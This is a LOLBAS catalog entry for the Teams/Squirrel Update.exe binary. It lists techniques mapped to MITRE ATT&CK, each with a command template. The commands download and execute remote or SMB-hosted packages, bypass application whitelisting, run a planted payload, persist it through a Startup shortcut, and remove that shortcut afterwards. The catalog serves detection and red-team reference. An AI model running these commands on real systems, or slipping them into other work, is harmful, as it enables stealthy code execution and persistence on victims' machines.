CatalogLOLBAS

LOL · OtherMSBinary

Update.exe

13 techniquesWindowsLOLBASGPL-3.0

Download

File DownloadWindows

The above binary will go to url and look for RELEASES file and download the nuget package.

Use Download binary

Update.exe --download {REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Download
MITRE
T1218

AWL Bypass

AWL / Policy BypassWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

Update.exe --update={REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1218

Execute

ExecutionWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

Update.exe --update={REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218

AWL Bypass

AWL / Policy BypassWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use Download and execute binary

Update.exe --update={PATH_SMB:folder}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1218

Execute

ExecutionWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use Download and execute binary

Update.exe --update={PATH_SMB:folder}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218

AWL Bypass

AWL / Policy BypassWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

Update.exe --updateRollback={REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1218

Execute

ExecutionWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

Update.exe --updateRollback={REMOTEURL}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218

AWL Bypass

AWL / Policy BypassWindows

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

Use Application Whitelisting Bypass

Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1218

AWL Bypass

AWL / Policy BypassWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use Download and execute binary

Update.exe --updateRollback={PATH_SMB:folder}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
AWL Bypass
MITRE
T1218

Execute

ExecutionWindows

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use Download and execute binary

Update.exe --updateRollback={PATH_SMB:folder}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218

Execute

ExecutionWindows

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

Use Execute binary

Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218

Execute

ExecutionWindows

Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.

Use Execute binary

Update.exe --createShortcut={PATH:.exe} -l=Startup
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1547

Execute

ExecutionWindows

Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.

Use Execute binary

Update.exe --removeShortcut={PATH:.exe}-l=Startup
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1070